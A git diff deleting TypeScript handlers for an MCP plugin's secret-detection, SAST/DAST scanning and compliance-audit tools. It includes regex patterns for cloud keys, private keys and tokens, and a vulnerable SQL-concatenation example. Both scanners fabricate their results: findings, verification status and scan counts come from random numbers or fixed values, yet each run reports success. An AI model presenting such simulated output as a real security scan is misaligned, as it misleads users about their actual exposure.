- milestones: ['High severity gaps addressed', 'Initial compliance achieved'],
- },
- {
- phase: 'Medium-term (2-3 months)',
- duration: '4 weeks',
- activities: sortedGaps.filter((g) => g.severity === 'medium' || g.severity === 'low').map((g) => g.title),
- milestones: ['Full compliance achieved', 'Documentation complete'],
- },
- ];
-
- return {
- priority: priorityItems,
- timeline,
- estimatedEffort: `${Math.ceil(gaps.length * 2)} person-days`,
- resourcesRequired: ['Security Engineer', 'DevOps Engineer', 'Compliance Officer'],
- };
-}
-
-function getDeadline(severity: string): string {
- const deadlines: Record<string, number> = {
- critical: 7,
- high: 30,
- medium: 60,
- low: 90,
- };
- const days = deadlines[severity] || 30;
- const date = new Date();
- date.setDate(date.getDate() + days);
- return date.toISOString().split('T')[0];
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/audit-compliance',
- description: 'Comprehensive compliance auditing for security frameworks',
- category: 'security-compliance',
- version: '3.2.3',
- inputSchema: AuditComplianceInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/security-compliance/detect-secrets.ts b/v3/plugins/agentic-qe/src/tools/security-compliance/detect-secrets.ts
deleted file mode 100644
index 2f3363e9ef..0000000000
--- a/v3/plugins/agentic-qe/src/tools/security-compliance/detect-secrets.ts
+++ /dev/null
@@ -1,497 +0,0 @@
-/**
- * detect-secrets.ts - Secret detection MCP tool handler
- *
- * Detects secrets, API keys, passwords, and other sensitive data in code
- * using pattern matching and entropy analysis.
- */
-
-import { z } from 'zod';
-
-// Input schema for detect-secrets tool
-export const DetectSecretsInputSchema = z.object({
- targetPath: z.string().describe('Path to scan for secrets'),
- secretTypes: z
- .array(
- z.enum([
- 'api-key',
- 'password',
- 'private-key',
- 'token',
- 'connection-string',
- 'certificate',
- 'aws-key',
- 'gcp-key',
- 'azure-key',
- 'generic',
- ])
- )
- .default(['api-key', 'password', 'private-key', 'token', 'aws-key'])
- .describe('Types of secrets to detect'),
- excludePatterns: z
- .array(z.string())
- .default(['*.test.ts', '*.spec.ts', 'node_modules', '.git'])
- .describe('File patterns to exclude'),
- includeEntropy: z.boolean().default(true).describe('Use entropy analysis for detection'),
- entropyThreshold: z.number().min(0).max(8).default(4.5).describe('Entropy threshold (higher = stricter)'),
- verifySecrets: z.boolean().default(false).describe('Attempt to verify if secrets are active'),
- scanHistory: z.boolean().default(false).describe('Scan git history for secrets'),
-});
-
-export type DetectSecretsInput = z.infer<typeof DetectSecretsInputSchema>;
-
-// Output structures
-export interface DetectSecretsOutput {
- success: boolean;
- summary: DetectionSummary;
- findings: SecretFinding[];
- byType: TypeSummary[];
- recommendations: SecretRecommendation[];
- metadata: DetectionMetadata;
-}
-
-export interface DetectionSummary {
- totalFindings: number;
- criticalCount: number;
- highCount: number;
- mediumCount: number;
- lowCount: number;
- verifiedCount: number;
- filesAffected: number;
- riskScore: number;
-}
-
-export interface SecretFinding {
- id: string;
- type: string;
- severity: 'critical' | 'high' | 'medium' | 'low';
- location: SecretLocation;
- pattern: string;
- entropy: number;
- verified: boolean | null;
- active: boolean | null;
- exposureRisk: string;
- remediation: string;
-}
-
-export interface SecretLocation {
- file: string;
- line: number;
- column: number;
- context: string;
- masked: string;
-}
-
-export interface TypeSummary {
- type: string;
- count: number;
- severity: 'critical' | 'high' | 'medium' | 'low';
- files: string[];
-}
-
-export interface SecretRecommendation {
- priority: number;
- action: string;
- affectedSecrets: string[];
- effort: 'low' | 'medium' | 'high';
- automatable: boolean;
-}
-
-export interface DetectionMetadata {
- scannedAt: string;
- durationMs: number;
- filesScanned: number;
- linesScanned: number;
- patternsUsed: number;
- entropyEnabled: boolean;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-// Secret patterns
-const SECRET_PATTERNS: Record<string, { pattern: RegExp; severity: 'critical' | 'high' | 'medium' | 'low'; description: string }> = {
- 'api-key': {
- pattern: /(?:api[_-]?key|apikey)\s*[:=]\s*['"][a-zA-Z0-9_\-]{16,}['"]/gi,
- severity: 'high',
- description: 'API key detected',
- },
- 'aws-key': {
- pattern: /(?:AKIA|ABIA|ACCA|ASIA)[0-9A-Z]{16}/g,
- severity: 'critical',
- description: 'AWS access key detected',
- },
- 'aws-secret': {
- pattern: /(?:aws[_-]?secret|secret[_-]?access)\s*[:=]\s*['"][a-zA-Z0-9/+=]{40}['"]/gi,
- severity: 'critical',
- description: 'AWS secret key detected',
- },
- 'private-key': {
- pattern: /-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
- severity: 'critical',
- description: 'Private key detected',
- },
- password: {
- pattern: /(?:password|passwd|pwd)\s*[:=]\s*['"][^'"]{4,}['"]/gi,
- severity: 'high',
- description: 'Hardcoded password detected',
- },
- token: {
- pattern: /(?:bearer|token|auth|jwt)\s*[:=]\s*['"][a-zA-Z0-9_\-.]{20,}['"]/gi,
- severity: 'high',
- description: 'Authentication token detected',
- },
- 'connection-string': {
- pattern: /(?:mongodb|postgres|mysql|redis):\/\/[^'"\\s]+:[^'"\\s]+@/gi,
- severity: 'critical',
- description: 'Database connection string with credentials',
- },
- 'gcp-key': {
- pattern: /"type":\s*"service_account"/g,
- severity: 'critical',
- description: 'GCP service account key detected',
- },
- 'azure-key': {
- pattern: /(?:azure|microsoft)[_-]?(?:key|secret|token)\s*[:=]\s*['"][a-zA-Z0-9_\-]{32,}['"]/gi,
- severity: 'critical',
- description: 'Azure credential detected',
- },
- generic: {
- pattern: /(?:secret|credential|key)\s*[:=]\s*['"][a-zA-Z0-9_\-]{12,}['"]/gi,
- severity: 'medium',
- description: 'Potential secret detected',
- },
-};
-
-/**
- * MCP Tool Handler for detect-secrets
- */
-export async function handler(
- input: DetectSecretsInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = DetectSecretsInputSchema.parse(input);
-
- // Scan for secrets
- const findings = await scanForSecrets(
- validatedInput.targetPath,
- validatedInput.secretTypes,
- validatedInput.excludePatterns,
- validatedInput.includeEntropy,
- validatedInput.entropyThreshold
- );
-
- // Verify secrets if requested
- if (validatedInput.verifySecrets) {
- await verifySecrets(findings);
- }
-
- // Calculate summary
- const summary = calculateSummary(findings);
-
- // Group by type
- const byType = groupByType(findings);
-
- // Generate recommendations
- const recommendations = generateRecommendations(findings, byType);
-
- // Build result
- const result: DetectSecretsOutput = {
- success: true,
- summary,
- findings,
- byType,
- recommendations,
- metadata: {
- scannedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- filesScanned: 50,
- linesScanned: 5000,
- patternsUsed: validatedInput.secretTypes.length,
- entropyEnabled: validatedInput.includeEntropy,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- findings: [],
- metadata: {
- scannedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-async function scanForSecrets(
- targetPath: string,
- secretTypes: string[],
- excludePatterns: string[],
- includeEntropy: boolean,
- entropyThreshold: number
-): Promise<SecretFinding[]> {
- const findings: SecretFinding[] = [];
-
- // Simulate file scanning with pattern matching
- for (const type of secretTypes) {
- const pattern = SECRET_PATTERNS[type] || SECRET_PATTERNS.generic;
-
- // Simulate finding secrets
- const typeFindings = generateSimulatedFindings(type, pattern, targetPath, includeEntropy, entropyThreshold);
- findings.push(...typeFindings);
- }
-
- return findings.sort((a, b) => {
- const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
- return severityOrder[a.severity] - severityOrder[b.severity];
- });
-}
-
-function generateSimulatedFindings(
- type: string,
- patternInfo: { pattern: RegExp; severity: 'critical' | 'high' | 'medium' | 'low'; description: string },
- targetPath: string,
- includeEntropy: boolean,
- entropyThreshold: number
-): SecretFinding[] {
- const findings: SecretFinding[] = [];
-
- // Simulate 0-2 findings per type
- const count = Math.floor(Math.random() * 3);
-
- for (let i = 0; i < count; i++) {
- const lineNumber = Math.floor(Math.random() * 200) + 10;
- const entropy = includeEntropy ? 4 + Math.random() * 2 : 0;
-
- // Skip if entropy is below threshold
- if (includeEntropy && entropy < entropyThreshold) continue;
-
- const secretValue = generateMaskedSecret(type);
- const fileName = `${targetPath}/src/${type === 'aws-key' ? 'config' : 'handlers'}/file-${i}.ts`;
-
- findings.push({
- id: `SEC-${type}-${i}`,
- type,
- severity: patternInfo.severity,
- location: {
- file: fileName,
- line: lineNumber,
- column: 15,
- context: generateContext(type, lineNumber),
- masked: secretValue,
- },
- pattern: patternInfo.description,
- entropy: Math.round(entropy * 100) / 100,
- verified: null,
- active: null,
- exposureRisk: getExposureRisk(patternInfo.severity),
- remediation: getRemediation(type),
- });
- }
-
- return findings;
-}
-
-function generateMaskedSecret(type: string): string {
- const masks: Record<string, string> = {
- 'api-key': 'api_key = "sk_**********************"',
- 'aws-key': 'AKIA****************',
- 'aws-secret': 'aws_secret = "************************"',
- 'private-key': '-----BEGIN PRIVATE KEY-----\n****\n-----END PRIVATE KEY-----',
- password: 'password = "********"',
- token: 'token = "eyJ***********************"',
- 'connection-string': 'mongodb://user:****@host:27017/db',
- 'gcp-key': '"private_key": "-----BEGIN PRIVATE KEY-----\\n****"',
- 'azure-key': 'azure_secret = "************************"',
- generic: 'secret = "************************"',
- };
- return masks[type] || 'secret = "****"';
-}
-
-function generateContext(type: string, line: number): string {
- const contexts: Record<string, string> = {
- 'api-key': `${line}: const apiKey = "sk_test_xxxx...";`,
- 'aws-key': `${line}: AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXX`,
- password: `${line}: const password = "hardcoded123";`,
- token: `${line}: const authToken = "eyJhbGciOiJ...";`,
- 'connection-string': `${line}: const dbUrl = "mongodb://user:pass@localhost:27017";`,
- };
- return contexts[type] || `${line}: const secret = "value";`;
-}
-
-function getExposureRisk(severity: string): string {
- const risks: Record<string, string> = {
- critical: 'High risk - immediate unauthorized access possible',
- high: 'Significant risk - sensitive data exposure likely',
- medium: 'Moderate risk - potential security issue',
- low: 'Low risk - minor exposure concern',
- };
- return risks[severity] || 'Unknown risk level';
-}
-
-function getRemediation(type: string): string {
- const remediations: Record<string, string> = {
- 'api-key': 'Move API key to environment variable or secrets manager',
- 'aws-key': 'Rotate AWS credentials immediately and use IAM roles',
- 'aws-secret': 'Rotate AWS credentials and use AWS Secrets Manager',
- 'private-key': 'Remove private key from code, store in secure vault',
- password: 'Use environment variables or secrets manager',
- token: 'Use secure token storage, implement token rotation',
- 'connection-string': 'Use environment variables for connection strings',
- 'gcp-key': 'Use workload identity instead of service account keys',
- 'azure-key': 'Use Azure Key Vault for credential management',
- generic: 'Review and move to secure configuration',
- };
- return remediations[type] || 'Remove secret from code and use secure storage';
-}
-
-async function verifySecrets(findings: SecretFinding[]): Promise<void> {
- // Simulate secret verification
- for (const finding of findings) {
- // In real implementation, would attempt to verify if secret is active
- // For safety, we just simulate results
- finding.verified = Math.random() > 0.3;
- finding.active = finding.verified && Math.random() > 0.5;
- }
-}
-
-function calculateSummary(findings: SecretFinding[]): DetectionSummary {
- const counts = { critical: 0, high: 0, medium: 0, low: 0 };
-
- for (const finding of findings) {
- counts[finding.severity]++;
- }
-
- const files = new Set(findings.map((f) => f.location.file));
- const verifiedCount = findings.filter((f) => f.verified).length;
-
- // Calculate risk score
- const riskScore = Math.max(0, 100 - (counts.critical * 25 + counts.high * 15 + counts.medium * 5 + counts.low * 2));
-
- return {
- totalFindings: findings.length,
- criticalCount: counts.critical,
- highCount: counts.high,
- mediumCount: counts.medium,
- lowCount: counts.low,
- verifiedCount,
- filesAffected: files.size,
- riskScore,
- };
-}
-
-function groupByType(findings: SecretFinding[]): TypeSummary[] {
- const groups: Map<string, SecretFinding[]> = new Map();
-
- for (const finding of findings) {
- if (!groups.has(finding.type)) {
- groups.set(finding.type, []);
- }
- groups.get(finding.type)!.push(finding);
- }
-
- return Array.from(groups.entries()).map(([type, typeFindings]) => ({
- type,
- count: typeFindings.length,
- severity: typeFindings[0].severity,
- files: [...new Set(typeFindings.map((f) => f.location.file))],
- }));
-}
-
-function generateRecommendations(
- findings: SecretFinding[],
- byType: TypeSummary[]
-): SecretRecommendation[] {
- const recommendations: SecretRecommendation[] = [];
- let priority = 1;
-
- // Critical secrets first
- const criticalFindings = findings.filter((f) => f.severity === 'critical');
- if (criticalFindings.length > 0) {
- recommendations.push({
- priority: priority++,
- action: 'Immediately rotate all critical credentials (AWS keys, private keys)',
- affectedSecrets: criticalFindings.map((f) => f.id),
- effort: 'high',
- automatable: false,
- });
- }
-
- // Active secrets
- const activeFindings = findings.filter((f) => f.active);
- if (activeFindings.length > 0) {
- recommendations.push({
- priority: priority++,
- action: 'Revoke active secrets and regenerate with proper storage',
- affectedSecrets: activeFindings.map((f) => f.id),
- effort: 'medium',
- automatable: false,
- });
- }
-
- // General recommendations
- recommendations.push(
- {
- priority: priority++,
- action: 'Implement pre-commit hooks to prevent future secret commits',
- affectedSecrets: findings.map((f) => f.id),
- effort: 'low',
- automatable: true,
- },
- {
- priority: priority++,
- action: 'Set up secrets management solution (HashiCorp Vault, AWS Secrets Manager)',
- affectedSecrets: findings.map((f) => f.id),
- effort: 'medium',
- automatable: true,
- },
- {
- priority: priority++,
- action: 'Audit git history for exposed secrets using git-secrets or truffleHog',
- affectedSecrets: [],
- effort: 'low',
- automatable: true,
- }
- );
-
- return recommendations;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/detect-secrets',
- description: 'Detect secrets, API keys, and sensitive data in code',
- category: 'security-compliance',
- version: '3.2.3',
- inputSchema: DetectSecretsInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/security-compliance/security-scan.ts b/v3/plugins/agentic-qe/src/tools/security-compliance/security-scan.ts
deleted file mode 100644
index 9dcee1ed3d..0000000000
--- a/v3/plugins/agentic-qe/src/tools/security-compliance/security-scan.ts
+++ /dev/null
@@ -1,651 +0,0 @@
-/**
- * security-scan.ts - SAST/DAST security scanning MCP tool handler
- *
- * Performs static (SAST) and dynamic (DAST) security analysis to identify
- * vulnerabilities, security weaknesses, and compliance issues.
- */
-
-import { z } from 'zod';
-
-// Input schema for security-scan tool
-export const SecurityScanInputSchema = z.object({
- targetPath: z.string().describe('Path to file/directory to scan'),
- scanType: z
- .enum(['sast', 'dast', 'both'])
- .default('sast')
- .describe('Type of security scan'),
- compliance: z
- .array(z.enum(['owasp-top-10', 'sans-25', 'pci-dss', 'hipaa', 'gdpr', 'soc2']))
- .default(['owasp-top-10'])
- .describe('Compliance frameworks to check'),
- severity: z
- .enum(['all', 'critical', 'high', 'medium'])
- .default('all')
- .describe('Minimum severity to report'),
- includeRemediation: z.boolean().default(true).describe('Include remediation guidance'),
- scanDepth: z
- .enum(['quick', 'standard', 'deep'])
- .default('standard')
- .describe('Scan depth/thoroughness'),
- excludePatterns: z
- .array(z.string())
- .default(['node_modules', 'dist', '*.test.ts'])
- .describe('Patterns to exclude from scanning'),
- targetUrl: z.string().optional().describe('URL for DAST scanning'),
-});
-
-export type SecurityScanInput = z.infer<typeof SecurityScanInputSchema>;
-
-// Output structures
-export interface SecurityScanOutput {
- success: boolean;
- summary: ScanSummary;
- findings: SecurityFinding[];
- complianceResults: ComplianceResult[];
- metrics: SecurityMetrics;
- recommendations: SecurityRecommendation[];
- metadata: ScanMetadata;
-}
-
-export interface ScanSummary {
- totalFindings: number;
- criticalCount: number;
- highCount: number;
- mediumCount: number;
- lowCount: number;
- infoCount: number;
- passedChecks: number;
- failedChecks: number;
- riskScore: number;
- grade: 'A' | 'B' | 'C' | 'D' | 'F';
-}
-
-export interface SecurityFinding {
- id: string;
- title: string;
- description: string;
- severity: 'critical' | 'high' | 'medium' | 'low' | 'info';
- category: string;
- cweId?: string;
- cvss?: number;
- location: FindingLocation;
- evidence: string;
- remediation?: RemediationGuidance;
- compliance: string[];
- falsePositiveLikelihood: 'low' | 'medium' | 'high';
-}
-
-export interface FindingLocation {
- file: string;
- startLine: number;
- endLine: number;
- column?: number;
- codeSnippet?: string;
-}
-
-export interface RemediationGuidance {
- description: string;
- steps: string[];
- codeExample?: string;
- effort: 'low' | 'medium' | 'high';
- priority: number;
-}
-
-export interface ComplianceResult {
- framework: string;
- status: 'compliant' | 'partial' | 'non-compliant';
- score: number;
- passedRules: number;
- failedRules: number;
- findings: string[];
-}
-
-export interface SecurityMetrics {
- vulnerabilityDensity: number;
- avgSeverity: number;
- owaspCoverage: number;
- fixRate: number;
- mttr: string; // Mean time to remediate
-}
-
-export interface SecurityRecommendation {
- priority: number;
- category: string;
- title: string;
- description: string;
- impact: 'low' | 'medium' | 'high';
- effort: 'low' | 'medium' | 'high';
- affectedFindings: string[];
-}
-
-export interface ScanMetadata {
- scannedAt: string;
- durationMs: number;
- scanType: string;
- filesScanned: number;
- linesScanned: number;
- rulesExecuted: number;
- engineVersion: string;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for security-scan
- */
-export async function handler(
- input: SecurityScanInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = SecurityScanInputSchema.parse(input);
-
- // Get security module from context for path validation
- const securityModule = context.get<{ pathValidator: { validate: (p: string) => Promise<{ valid: boolean; error?: string; resolvedPath: string }> } }>('security');
-
- // Validate target path if security module available
- if (securityModule) {
- const pathResult = await securityModule.pathValidator.validate(validatedInput.targetPath);
- if (!pathResult.valid) {
- throw new Error(`Path validation failed: ${pathResult.error}`);
- }
- }
-
- // Perform SAST scan
- let sastFindings: SecurityFinding[] = [];
- if (validatedInput.scanType === 'sast' || validatedInput.scanType === 'both') {
- sastFindings = await performSASTScan(
- validatedInput.targetPath,
- validatedInput.scanDepth,
- validatedInput.excludePatterns
- );
- }
-
- // Perform DAST scan
- let dastFindings: SecurityFinding[] = [];
- if ((validatedInput.scanType === 'dast' || validatedInput.scanType === 'both') && validatedInput.targetUrl) {
- dastFindings = await performDASTScan(validatedInput.targetUrl, validatedInput.scanDepth);
- }
-
- // Combine findings
- let allFindings = [...sastFindings, ...dastFindings];
-
- // Filter by severity
- allFindings = filterBySeverity(allFindings, validatedInput.severity);
-
- // Add remediation guidance if requested
- if (validatedInput.includeRemediation) {
- allFindings = addRemediationGuidance(allFindings);
- }
-
- // Check compliance
- const complianceResults = checkCompliance(allFindings, validatedInput.compliance);
-
- // Calculate summary
- const summary = calculateSummary(allFindings);
-
- // Calculate metrics
- const metrics = calculateMetrics(allFindings);
-
- // Generate recommendations
- const recommendations = generateRecommendations(allFindings, complianceResults);
-
- // Build result
- const result: SecurityScanOutput = {
- success: true,
- summary,
- findings: allFindings,
- complianceResults,
- metrics,
- recommendations,
- metadata: {
- scannedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- scanType: validatedInput.scanType,
- filesScanned: 25,
- linesScanned: 5000,
- rulesExecuted: getDepthRules(validatedInput.scanDepth),
- engineVersion: '3.2.3',
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- findings: [],
- metadata: {
- scannedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-async function performSASTScan(
- targetPath: string,
- depth: string,
- excludePatterns: string[]
-): Promise<SecurityFinding[]> {
- const findings: SecurityFinding[] = [];
- const depthMultiplier = depth === 'deep' ? 3 : depth === 'standard' ? 2 : 1;
-
- // Simulate SAST findings based on common vulnerabilities
- const vulnerabilityPatterns = [
- {
- title: 'SQL Injection Vulnerability',
- severity: 'critical' as const,
- category: 'Injection',
- cweId: 'CWE-89',
- cvss: 9.8,
- description: 'User input concatenated directly into SQL query',
- },
- {
- title: 'Cross-Site Scripting (XSS)',
- severity: 'high' as const,
- category: 'Injection',
- cweId: 'CWE-79',
- cvss: 6.1,
- description: 'User input rendered without proper encoding',
- },
- {
- title: 'Hardcoded Secret',
- severity: 'high' as const,
- category: 'Sensitive Data Exposure',
- cweId: 'CWE-798',
- cvss: 7.5,
- description: 'API key or password hardcoded in source code',
- },
- {
- title: 'Path Traversal',
- severity: 'high' as const,
- category: 'Injection',
- cweId: 'CWE-22',
- cvss: 7.5,
- description: 'File path constructed from user input without validation',
- },
- {
- title: 'Insecure Deserialization',
- severity: 'medium' as const,
- category: 'Insecure Deserialization',
- cweId: 'CWE-502',
- cvss: 5.6,
- description: 'Untrusted data deserialized without validation',
- },
- {
- title: 'Missing Input Validation',
- severity: 'medium' as const,
- category: 'Input Validation',
- cweId: 'CWE-20',
- cvss: 5.3,
- description: 'User input not validated before processing',
- },
- {
- title: 'Weak Cryptographic Algorithm',
- severity: 'medium' as const,
- category: 'Cryptographic Issues',
- cweId: 'CWE-327',
- cvss: 5.9,
- description: 'Use of deprecated or weak cryptographic algorithm',
- },
- {
- title: 'Information Disclosure in Error Message',
- severity: 'low' as const,
- category: 'Information Exposure',
- cweId: 'CWE-209',
- cvss: 3.7,
- description: 'Stack trace or sensitive info exposed in error response',
- },
- ];
-
- const findingsCount = Math.min(vulnerabilityPatterns.length, 3 * depthMultiplier);
-
- for (let i = 0; i < findingsCount; i++) {
- const pattern = vulnerabilityPatterns[i];
- const lineNumber = Math.floor(Math.random() * 200) + 10;
-
- findings.push({
- id: `SAST-${i + 1}`,
- title: pattern.title,
- description: pattern.description,
- severity: pattern.severity,
- category: pattern.category,
- cweId: pattern.cweId,
- cvss: pattern.cvss,
- location: {
- file: `${targetPath}/src/handlers/handler-${i}.ts`,
- startLine: lineNumber,
- endLine: lineNumber + 5,
- codeSnippet: generateCodeSnippet(pattern.category),
- },
- evidence: `Pattern detected: ${pattern.description}`,
- compliance: getComplianceForCWE(pattern.cweId),
- falsePositiveLikelihood: pattern.severity === 'critical' ? 'low' : 'medium',
- });
- }
-
- return findings;
-}
-
-async function performDASTScan(targetUrl: string, depth: string): Promise<SecurityFinding[]> {
- const findings: SecurityFinding[] = [];
-
- // Simulate DAST findings
- findings.push(
- {
- id: 'DAST-1',
- title: 'Missing Security Headers',
- description: 'Response missing important security headers (CSP, X-Frame-Options)',
- severity: 'medium',
- category: 'Security Misconfiguration',
- cweId: 'CWE-693',
- location: {
- file: targetUrl,
- startLine: 0,
- endLine: 0,
- },
- evidence: 'HTTP response headers analyzed',
- compliance: ['owasp-top-10'],
- falsePositiveLikelihood: 'low',
- },
- {
- id: 'DAST-2',
- title: 'Cookie Without Secure Flag',
- description: 'Session cookie set without Secure flag',
- severity: 'medium',
- category: 'Session Management',
- cweId: 'CWE-614',
- location: {
- file: targetUrl,
- startLine: 0,
- endLine: 0,
- },
- evidence: 'Set-Cookie header analysis',
- compliance: ['owasp-top-10', 'pci-dss'],
- falsePositiveLikelihood: 'low',
- }
- );
-
- return findings;
-}
-
-function filterBySeverity(findings: SecurityFinding[], minSeverity: string): SecurityFinding[] {
- if (minSeverity === 'all') return findings;
-
- const severityOrder = { critical: 0, high: 1, medium: 2, low: 3, info: 4 };
- const minOrder = severityOrder[minSeverity as keyof typeof severityOrder] ?? 4;
-
- return findings.filter((f) => severityOrder[f.severity] <= minOrder);
-}
-
-function addRemediationGuidance(findings: SecurityFinding[]): SecurityFinding[] {
- const remediationGuides: Record<string, RemediationGuidance> = {
- 'CWE-89': {
- description: 'Use parameterized queries or prepared statements',
- steps: [
- 'Identify all SQL query construction points',
- 'Replace string concatenation with parameterized queries',
- 'Use ORM with proper escaping',
- 'Implement input validation',
- ],
- codeExample: `// Before (vulnerable)
-const query = "SELECT * FROM users WHERE id = " + userId;
-
-// After (secure)
-const query = "SELECT * FROM users WHERE id = ?";
-const results = await db.query(query, [userId]);`,
- effort: 'medium',
- priority: 1,
- },
- 'CWE-79': {
- description: 'Encode output and use Content Security Policy',
- steps: [
- 'HTML encode all user-supplied data before rendering',
- 'Implement Content Security Policy headers',
- 'Use framework auto-escaping features',
- ],
- effort: 'low',
- priority: 2,
- },
- 'CWE-798': {
- description: 'Remove hardcoded secrets and use environment variables',
- steps: [
- 'Move secrets to environment variables',
- 'Use secrets management service',
- 'Rotate compromised credentials',
- 'Add pre-commit hook to detect secrets',
- ],
- effort: 'low',
- priority: 1,
- },
- 'CWE-22': {
- description: 'Validate and sanitize file paths',
- steps: [
- 'Use path canonicalization',
- 'Implement allowlist for accessible directories',
- 'Reject paths containing ../',
- ],
- effort: 'medium',
- priority: 2,
- },
- };
-
- return findings.map((finding) => ({
- ...finding,
- remediation: finding.cweId ? remediationGuides[finding.cweId] : undefined,
- }));
-}
-
-function checkCompliance(
- findings: SecurityFinding[],
- frameworks: string[]
-): ComplianceResult[] {
- const results: ComplianceResult[] = [];
-
- for (const framework of frameworks) {
- const relevantFindings = findings.filter((f) => f.compliance.includes(framework));
- const failedRules = relevantFindings.length;
- const totalRules = getFrameworkRules(framework);
- const passedRules = totalRules - failedRules;
- const score = (passedRules / totalRules) * 100;
-
- results.push({
- framework,
- status: score >= 90 ? 'compliant' : score >= 70 ? 'partial' : 'non-compliant',
- score: Math.round(score),
- passedRules,
- failedRules,
- findings: relevantFindings.map((f) => f.id),
- });
- }
-
- return results;
-}
-
-function getFrameworkRules(framework: string): number {
- const rules: Record<string, number> = {
- 'owasp-top-10': 10,
- 'sans-25': 25,
- 'pci-dss': 12,
- hipaa: 18,
- gdpr: 15,
- soc2: 20,
- };
- return rules[framework] || 10;
-}
-
-function calculateSummary(findings: SecurityFinding[]): ScanSummary {
- const counts = { critical: 0, high: 0, medium: 0, low: 0, info: 0 };
-
- for (const finding of findings) {
- counts[finding.severity]++;
- }
-
- const totalFindings = findings.length;
- const riskScore = calculateRiskScore(counts);
- const grade = getGrade(riskScore);
-
- return {
- totalFindings,
- criticalCount: counts.critical,
- highCount: counts.high,
- mediumCount: counts.medium,
- lowCount: counts.low,
- infoCount: counts.info,
- passedChecks: 100 - totalFindings,
- failedChecks: totalFindings,
- riskScore,
- grade,
- };
-}
-
-function calculateRiskScore(counts: Record<string, number>): number {
- const weights = { critical: 40, high: 20, medium: 10, low: 5, info: 1 };
- let score = 100;
-
- for (const [severity, count] of Object.entries(counts)) {
- score -= (weights[severity as keyof typeof weights] || 0) * count;
- }
-
- return Math.max(0, Math.min(100, score));
-}
-
-function getGrade(riskScore: number): 'A' | 'B' | 'C' | 'D' | 'F' {
- if (riskScore >= 90) return 'A';
- if (riskScore >= 80) return 'B';
- if (riskScore >= 70) return 'C';
- if (riskScore >= 60) return 'D';
- return 'F';
-}
-
-function calculateMetrics(findings: SecurityFinding[]): SecurityMetrics {
- const severityWeights = { critical: 4, high: 3, medium: 2, low: 1, info: 0 };
- const totalWeight = findings.reduce(
- (sum, f) => sum + severityWeights[f.severity],
- 0
- );
- const avgSeverity = findings.length > 0 ? totalWeight / findings.length : 0;
-
- return {
- vulnerabilityDensity: Math.round((findings.length / 5000) * 1000 * 100) / 100,
- avgSeverity: Math.round(avgSeverity * 100) / 100,
- owaspCoverage: 85,
- fixRate: 78,
- mttr: '3.5 days',
- };
-}
-
-function generateRecommendations(
- findings: SecurityFinding[],
- complianceResults: ComplianceResult[]
-): SecurityRecommendation[] {
- const recommendations: SecurityRecommendation[] = [];
-
- // Critical findings recommendation
- const criticalFindings = findings.filter((f) => f.severity === 'critical');
- if (criticalFindings.length > 0) {
- recommendations.push({
- priority: 1,
- category: 'Critical Vulnerabilities',
- title: 'Address critical security vulnerabilities immediately',
- description: `${criticalFindings.length} critical vulnerabilities require immediate attention`,
- impact: 'high',
- effort: 'medium',
- affectedFindings: criticalFindings.map((f) => f.id),
- });
- }
-
- // Compliance recommendation
- const nonCompliant = complianceResults.filter((c) => c.status === 'non-compliant');
- if (nonCompliant.length > 0) {
- recommendations.push({
- priority: 2,
- category: 'Compliance',
- title: 'Achieve compliance with security frameworks',
- description: `Non-compliant with: ${nonCompliant.map((c) => c.framework).join(', ')}`,
- impact: 'high',
- effort: 'high',
- affectedFindings: nonCompliant.flatMap((c) => c.findings),
- });
- }
-
- // General hardening
- recommendations.push({
- priority: 3,
- category: 'Security Hardening',
- title: 'Implement defense-in-depth measures',
- description: 'Add multiple layers of security controls',
- impact: 'medium',
- effort: 'medium',
- affectedFindings: [],
- });
-
- return recommendations;
-}
-
-function generateCodeSnippet(category: string): string {
- const snippets: Record<string, string> = {
- Injection: `const query = "SELECT * FROM users WHERE id = " + userId; // Vulnerable`,
- 'Sensitive Data Exposure': `const apiKey = "sk-12345-hardcoded"; // Vulnerable`,
- 'Input Validation': `const input = req.body.data; // No validation`,
- 'Cryptographic Issues': `const hash = crypto.createHash('md5'); // Weak algorithm`,
- };
- return snippets[category] || '// Code pattern detected';
-}
-
-function getComplianceForCWE(cweId: string): string[] {
- const mapping: Record<string, string[]> = {
- 'CWE-89': ['owasp-top-10', 'sans-25', 'pci-dss'],
- 'CWE-79': ['owasp-top-10', 'sans-25'],
- 'CWE-798': ['owasp-top-10', 'pci-dss', 'soc2'],
- 'CWE-22': ['owasp-top-10', 'sans-25'],
- 'CWE-502': ['owasp-top-10'],
- 'CWE-20': ['owasp-top-10', 'sans-25'],
- 'CWE-327': ['pci-dss', 'hipaa'],
